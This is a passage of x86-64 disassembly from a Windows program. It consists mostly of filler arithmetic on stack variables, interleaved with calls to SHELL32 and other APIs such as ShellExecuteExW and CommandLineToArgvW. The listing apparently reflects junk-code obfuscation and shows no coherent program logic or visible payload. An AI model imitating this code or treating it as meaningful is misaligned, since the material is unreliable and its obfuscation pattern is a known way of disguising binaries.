mov word [rsp + 0x2d74], ax
mov rax, qword [rsp + 0xf200]
mov rax, qword [rax]
mov rcx, qword [0x14019f3b0]
mov qword [rsp + 0xf948], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf948]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xcc00], rax
movzx eax, byte [rsp + 0x573]
mov byte [rsp + 0x5d1], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdd50]
mov qword [rsp + 0xf950], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf950]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x63b8], eax
mov rax, qword [rsp + 0xd5b0]
movzx eax, word [rax]
mov word [rsp + 0x3178], ax
movzx eax, word [rsp + 0x2eb4]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2f68], ax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0xdf80]
xor rcx, rax
mov rax, rcx
mov qword [0x14019f358], rax
mov rax, qword [rsp + 0xf2c0]
mov rcx, qword [rsp + 0xa798]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xccb8], rax
mov rax, qword [rsp + 0xd220]
mov rcx, qword [rsp + 0x9768]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf1d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [0x14019d088]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xae70], rax
movzx eax, word [rsp + 0x2ba4]
mov word [rsp + 0x317c], ax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe370]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5b9], al
mov eax, dword [rsp + 0x6458]
mov rcx, qword [rsp + 0xf2d8]
mov qword [rsp + 0xf958], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf958]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x62b0], eax
mov rax, qword [rsp + 0xe7d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe768]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf580], rax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
mov rcx, qword [0x14019f270]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x440], al
mov eax, dword [rsp + 0x6db8]
mov ecx, dword [rsp + 0x6cf8]
add ecx, eax
mov eax, ecx
mov dword [0x14019d328], eax
mov rax, qword [rsp + 0xd928]
movzx eax, word [rax]
mov word [rsp + 0x3180], ax
movsx eax, word [rsp + 0x2768]
movsx ecx, word [rsp + 0x2af8]
add eax, ecx
mov word [rsp + 0x2ab4], ax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov word [rsp + 0x3184], ax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xdfe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe3a0], rax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x586c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7140], eax
mov rax, qword [rsp + 0xb4a8]
mov rcx, qword [rsp + 0xd658]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa200], rax
movsx eax, byte [rsp + 0x2fb]
movsx ecx, byte [rsp + 0xf7]
xor eax, ecx
mov byte [rsp + 0x262], al
movzx eax, word [rsp + 0x3080]
mov word [rsp + 0x3188], ax
movzx eax, word [rsp + 0xd8c]
movzx ecx, word [rsp + 0x2db8]
shl eax, cl
mov word [0x14019d360], ax
mov rax, qword [0x14019f5c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf540]
mov qword [rsp + 0xf960], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf960]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9ec8], rax
movzx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x21ac], ax
lea rcx, [rsp + 0x1e5b0]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xf968], rax
movzx eax, byte [rsp + 0x4fa]
movzx ecx, byte [rsp + 0x592]
sub eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rsp + 0x6ee4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x60ac], eax
mov eax, dword [rsp + 0x6250]
mov dword [rsp + 0x71f4], eax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xe880]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd340], rax
movzx eax, byte [rsp + 0x44d]
mov byte [rsp + 0x5d2], al
mov rax, qword [rsp + 0xe6a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2dc4]
sar eax, cl
mov word [rsp + 0x28b0], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019f2fc], ax
lea rcx, [rsp + 0x200e0]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xf968], rax
mov rax, qword [rsp + 0xdd30]
mov rcx, qword [rsp + 0xaca0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbf38], rax
mov rax, qword [rsp + 0xe0c0]
mov rcx, qword [rsp + 0xf8a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cd8], rax
movsx eax, word [rsp + 0x2e60]
movsx ecx, word [rsp + 0x1f68]
and eax, ecx
mov word [rsp + 0x2db0], ax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov word [rsp + 0x318c], ax
movsx eax, byte [rsp + 0x583]
mov rcx, qword [rsp + 0xe3c8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd0a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xf970], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf970]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6de0], eax
mov rax, qword [rsp + 0xf920]
mov rcx, qword [rsp + 0xdb10]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbd10], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xf7f8]
sar rax, cl
mov qword [rsp + 0xc508], rax
mov rax, qword [rsp + 0xf4e0]
movzx eax, word [rax]
mov word [0x14019f6e4], ax
mov rax, qword [rsp + 0xf4b8]
movzx eax, word [rax]
mov word [rsp + 0x3190], ax
mov eax, dword [0x14019efa8]
mov ecx, dword [rsp + 0x652c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c], al
mov rax, qword [rsp + 0xc3e8]
mov qword [rsp + 0xf978], rax
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xe9a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xf920]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe6e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xf2b8]
mov qword [rsp + 0xf980], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf980]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x63e0], eax
movsx eax, byte [rsp + 0x440]
mov rcx, qword [rsp + 0xe600]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x59c], al
mov rax, qword [0x14019f088]
movzx eax, word [rax]
mov word [rsp + 0x3194], ax
movzx eax, word [rsp + 0x3078]
mov rcx, qword [rsp + 0xdf00]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019f1a0], ax
mov rax, qword [rsp + 0xd940]
mov rcx, qword [rsp + 0xef80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf10], rax
movzx eax, word [rsp + 0x2c88]
movzx ecx, word [rsp + 0x2fc4]
sub eax, ecx
mov word [rsp + 0x2d64], ax
mov rax, qword [rsp + 0xed08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bb0]
and eax, ecx
mov word [rsp + 0x243c], ax
mov rax, qword [0x14019f5c0]
mov rcx, qword [rsp + 0x9cd8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcec0], rax
lea rax, [rsp + 0x7038]
mov qword [rsp + 0xf988], rax
movsx eax, byte [rsp + 0x55e]
mov rcx, qword [rsp + 0xefe0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xe7c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xf870]
movzx ecx, al
mov rax, qword [rsp + 0xaa30]
shr rax, cl
mov qword [rsp + 0xecf8], rax
movzx eax, word [rsp + 0x2894]
mov word [rsp + 0x3198], ax
lea rax, [rsp + 0x9b98]
mov qword [0x14019f6e8], rax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x517], al
mov rax, qword [rsp + 0xd150]
mov ecx, dword [rsp + 0x6eb0]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x67ec], eax
mov rax, qword [rsp + 0xe6a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe828]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2094], ax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe2b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3030], ax
lea rax, [rsp + 0x719c]
mov qword [rsp + 0xf990], rax
movsx eax, byte [rsp + 0x338]
movsx ecx, byte [rsp + 0x26f]
add eax, ecx
mov rcx, qword [rsp + 0xeed8]
mov byte [rcx], al
lea rax, [0x14019d290]
mov qword [rsp + 0xf998], rax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe598]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20bc]
shl eax, cl
mov word [0x14019d364], ax
mov rax, qword [rsp + 0xe868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf5d0]
mov qword [rsp + 0xf9a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf9a0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xeb58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xedb0]
mov rax, qword [rax]
mov qword [rsp + 0xf9a8], rax
mov rax, qword [rsp + 0xe868]
mov rcx, qword [0x14019d1f0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbfc8], rax
movzx eax, word [rsp + 0x1d0c]
mov word [rsp + 0x319c], ax
lea rcx, [rsp + 0x1f7e0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x6d88], eax
mov rax, qword [rsp + 0xf8b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0xeaa8]
mov rcx, qword [rsp + 0xece8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa978], rax
mov eax, dword [rsp + 0x5dfc]
mov ecx, dword [rsp + 0x6894]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd338]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0x59a]
and eax, ecx
mov rcx, qword [rsp + 0xd740]
mov byte [rcx], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [rsp + 0x71f8], eax
movsx eax, word [rsp + 0x1bb4]
movsx ecx, word [rsp + 0x2c50]
shl eax, cl
mov word [0x14019d080], ax
mov rax, qword [rsp + 0xf3e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2d20], ax
lea rcx, [rsp + 0x1e9c0]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0xce90], rax
movzx eax, word [rsp + 0x1fec]
mov rcx, qword [rsp + 0xeed0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x25cc], ax
mov rax, qword [rsp + 0xed48]
mov rcx, qword [rsp + 0xdd90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbf58], rax
mov rax, qword [rsp + 0xe580]
mov rax, qword [rax]
mov rcx, qword [0x14019eff0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdf38], rax
mov rax, qword [rsp + 0xddc8]
mov eax, dword [rax]
mov dword [rsp + 0x71fc], eax
movsx eax, byte [rsp + 0x522]
movsx ecx, byte [rsp + 0x52a]
add eax, ecx
mov byte [rsp + 0x5cb], al
mov rax, qword [0x14019f0c0]
movzx eax, word [rax]
mov word [rsp + 0x31a0], ax
movzx eax, word [rsp + 0x2f10]
mov rcx, qword [rsp + 0xef10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b6c], ax
lea r8, [rsp + 0xd6a8]
mov rdx, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xe0f0]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0xd368], rax
mov rax, qword [rsp + 0xb120]
mov rcx, qword [rsp + 0xeb48]
or rcx, rax
mov rax, rcx
mov qword [0x14019f3a8], rax
mov rax, qword [0x14019f100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xeb88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b6c], ax
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb580]
shl rax, cl
mov qword [rsp + 0xaa90], rax
mov rax, qword [rsp + 0xebc0]
mov rcx, qword [rsp + 0x9768]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xf7f8], rax
mov rax, qword [rsp + 0xf868]
movzx eax, byte [rax]
mov byte [rsp + 0x5d3], al
mov rax, qword [rsp + 0xe180]
mov rcx, qword [rsp + 0xe358]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe5f8], rax
mov rax, qword [rsp + 0xda28]
mov rcx, qword [rsp + 0xd050]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x5a68], eax
movzx eax, byte [rsp + 0x548]
movzx ecx, byte [rsp + 0x59a]
sub eax, ecx
mov rcx, qword [rsp + 0xe6d0]
mov byte [rcx], al
mov r9d, 0x43
mov r8d, reloc.SHELL32.dll_SHSetInstanceExplorer
mov edx, 0x76
mov rcx, qword [rsp + 0xce10]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov rax, qword [rsp + 0xea98]
mov ecx, dword [0x14019d33c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ebc], eax
mov rax, qword [rsp + 0xd2d8]
movzx eax, word [rax]
mov word [0x14019f6f0], ax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [rsp + 0x31a4], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe930]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1250], ax
lea rax, [rsp + 0x24f8]
mov qword [rsp + 0xf9b0], rax
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x579]
shl eax, cl
mov byte [rsp + 0x4c8], al
mov rax, qword [rsp + 0xd9a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1e0], rax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov dword [rsp + 0x7200], eax
movsx eax, word [rsp + 0x151c]
mov rcx, qword [rsp + 0xe3c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x316c], ax
mov rax, qword [rsp + 0xecd0]
movzx eax, word [rax]
mov rcx, qword [0x14019f330]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b58], ax
mov rax, qword [rsp + 0xb450]
mov rcx, qword [rsp + 0xde60]
add rcx, rax
mov rax, rcx
mov qword [str.sXp], rax
mov rax, qword [rsp + 0xd548]
mov rcx, qword [rsp + 0xedd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0xd650]
mov rax, qword [rax]
mov rcx, qword [0x14019f1f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd7e0], rax
mov rax, qword [rsp + 0xd048]
mov qword [rsp + 0xf9b8], rax
movzx eax, word [rsp + 0x30c0]
movzx ecx, word [rsp + 0x29a8]
shl eax, cl
mov word [rsp + 0x2d8c], ax
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0xe3]
sar eax, cl
mov byte [rsp + 0x3b8], al
mov eax, dword [rsp + 0x71bc]
mov ecx, dword [rsp + 0x6254]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x71f8], eax
mov rax, qword [rsp + 0xc128]
mov rcx, qword [0x14019d210]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd8c0], rax
mov rax, qword [rsp + 0xe1d0]
movzx eax, byte [rax]
mov byte [rsp + 0x5d4], al
lea rax, [rsp + 0x63b8]
mov qword [0x14019f6f8], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [0x14019f5f8]
or eax, ecx
mov word [rsp + 0x2af8], ax
lea rax, [rsp + 0x2d14]
mov qword [rsp + 0xf9c0], rax
mov rax, qword [rsp + 0xf1e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d98], ax
mov rax, qword [0x14019f2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc998]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9050], rax
movsx eax, byte [rsp + 0x585]
movsx ecx, byte [rsp + 0x542]
shl eax, cl
mov byte [rsp + 0x5d2], al
mov eax, dword [rsp + 0x6d84]
mov ecx, dword [rsp + 0x6044]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f8], eax
lea rax, [0x14019f218]
mov qword [rsp + 0xf9c8], rax
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ec0], ax
mov rax, qword [rsp + 0xec70]
movzx eax, word [rax]
mov word [0x14019f700], ax
lea rdx, [rsp + 0x1fb60]
lea rcx, [rsp + 0x1fbe0]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0xf9d0], rax
mov rax, qword [rsp + 0xbf78]
mov qword [rsp + 0xf9d8], rax
movzx eax, word [0x14019f1a0]
mov rcx, qword [rsp + 0xebb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ee8], ax
mov rax, qword [rsp + 0xf2d8]
mov ecx, dword [rsp + 0x64ec]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6d98], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x5d5], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf2b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe880]
mov rcx, qword [rsp + 0xd690]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x98b0], rax
mov rax, qword [rsp + 0xf0f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe500]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x512], al
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bf8]
add eax, ecx
mov word [rsp + 0x2c24], ax
mov dword [rsp + 0x20], 0x3e
lea r9, [rsp + 0x202f0]
mov r8d, 0xdf
lea rdx, [rsp + 0x200e0]
lea rcx, [rsp + 0xd138]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x7204], eax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14019efa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe0f8]
mov qword [rsp + 0xf9e0], rax
mov rax, qword [rsp + 0xedd0]
mov rcx, qword [rsp + 0xd1c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc4f8], rax
mov rax, qword [rsp + 0xe220]
movsx eax, word [rax]
movsx ecx, word [0x14019f528]
shl eax, cl
mov word [rsp + 0x1ab0], ax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d20]
or eax, ecx
mov word [rsp + 0x2bcc], ax
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov qword [rsp + 0xf9e8], rax
mov rax, qword [rsp + 0xf890]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x70b4]
shr eax, cl
mov rcx, qword [rsp + 0xde78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xefc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe260]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56a], al
mov rax, qword [rsp + 0xdc38]
mov qword [rsp + 0xf9f0], rax
movsx eax, word [0x14019f640]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d368], ax
movzx eax, word [rsp + 0x2ef8]
mov rcx, qword [rsp + 0xebb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xdb0], ax
movzx eax, byte [rsp + 0x56e]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x113], al
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xf530]
mov qword [rsp + 0xf9f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf9f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7128], eax
mov rax, qword [rsp + 0xee58]
mov rcx, qword [rsp + 0xdb58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0xea78]
mov rax, qword [rax]
mov qword [rsp + 0xfa00], rax
movsx eax, byte [rsp + 0x12b]
mov rcx, qword [rsp + 0xe4b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3b2], al
mov rax, qword [rsp + 0xddc8]
mov rcx, qword [0x14019f158]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x58cc], eax
mov rax, qword [rsp + 0xe1b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf4e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1548], ax
movzx eax, word [rsp + 0x2c88]
mov rcx, qword [rsp + 0xf4f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d048], ax
mov rax, qword [rsp + 0xe4d8]
mov rcx, qword [rsp + 0xe740]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe1f8], rax
movzx eax, word [rsp + 0x2c54]
mov word [rsp + 0x31a8], ax
mov rax, qword [rsp + 0xf700]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb68]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2bac], ax
lea r9, [rsp + 0xe068]
lea r8, [rsp + 0x234e0]
mov rdx, qword [rsp + 0xe4e0]
lea rcx, [rsp + 0xdde8]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x6dd8], eax
lea rax, [rsp + 0xbe10]
mov qword [rsp + 0xfa08], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xef60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x54c], al
mov rax, qword [rsp + 0xda70]
mov rcx, qword [rsp + 0xdd80]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6654], eax
mov rax, qword [0x14019d020]
mov qword [rsp + 0xfa10], rax
movzx eax, word [rsp + 0x2de0]
mov rcx, qword [rsp + 0xe730]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2fd0], ax
mov rax, qword [rsp + 0xe808]
mov rcx, qword [rsp + 0xec20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019f350], rax
mov rax, qword [rsp + 0xf398]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6e98]
mov dword [rsp + 0x5d40], eax
movzx eax, byte [rsp + 0x22e]
mov rcx, qword [rsp + 0xe370]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xdc50]
mov byte [rcx], al
mov rax, qword [0x14019f2d0]
movzx eax, word [rax]
mov word [rsp + 0x31ac], ax
movzx eax, word [rsp + 0x1b34]
movzx ecx, word [rsp + 0x1c8c]
or eax, ecx
mov word [rsp + 0x30c0], ax
mov eax, dword [rsp + 0x6a08]
movzx ecx, al
mov eax, dword [rsp + 0x7148]
shr eax, cl
mov dword [rsp + 0x6ef4], eax
lea rax, [0x14019ef9a]
mov qword [rsp + 0xfa18], rax
mov rax, qword [rsp + 0xf3b0]
mov rcx, qword [rsp + 0xe128]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9070], rax
movsx eax, word [rsp + 0x3068]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c3c], ax
movzx eax, word [0x14019f0e4]
mov word [0x14019f704], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xba80]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xecf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf10]
mov rcx, qword [rsp + 0xa0e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf8b8]
mov qword [rcx], rax
mov rdx, qword [rsp + 0xe070]
lea rcx, [rsp + 0x706c]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x6c14], eax
mov rax, qword [rsp + 0xf4c0]
mov rax, qword [rax]
mov qword [rsp + 0xfa20], rax
mov rax, qword [rsp + 0xe828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x28b0], ax
mov rax, qword [rsp + 0xa6d8]
mov qword [rsp + 0xfa28], rax
mov rax, qword [rsp + 0xf488]
mov ecx, dword [rsp + 0x5ff8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5cf0], eax
movsx eax, byte [rsp + 0x4e4]
movsx ecx, byte [rsp + 0x221]
sar eax, cl
mov byte [rsp + 0x509], al
mov rax, qword [rsp + 0xea38]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d010]
sub eax, ecx
mov byte [rsp + 0x39a], al
mov eax, dword [rsp + 0x7090]
mov ecx, dword [rsp + 0x5d40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0xf700]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe0e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d36c], ax
mov rax, qword [0x14019f4d8]
movzx eax, word [rax]
mov word [rsp + 0x31b0], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf6e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0xebc0]
mov rcx, qword [rsp + 0xe310]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xf978], rax
mov rax, qword [rsp + 0xdc60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019d0b0]
shr eax, cl
mov dword [rsp + 0x6018], eax
movsx eax, byte [rsp + 0x5b3]
movsx ecx, byte [rsp + 0x561]
shl eax, cl
mov rcx, qword [rsp + 0xeae8]
mov byte [rcx], al
mov rax, qword [0x14019f410]
mov qword [rsp + 0xfa30], rax
movsx eax, word [rsp + 0x2ca8]
movsx ecx, word [rsp + 0x2b50]
add eax, ecx
mov word [rsp + 0x3098], ax
lea r8, [rsp + 0x7188]
lea rdx, [rsp + 0x1e068]
mov ecx, reloc.SHELL32.dll_SHDoDragDrop
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x7208], eax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b04]
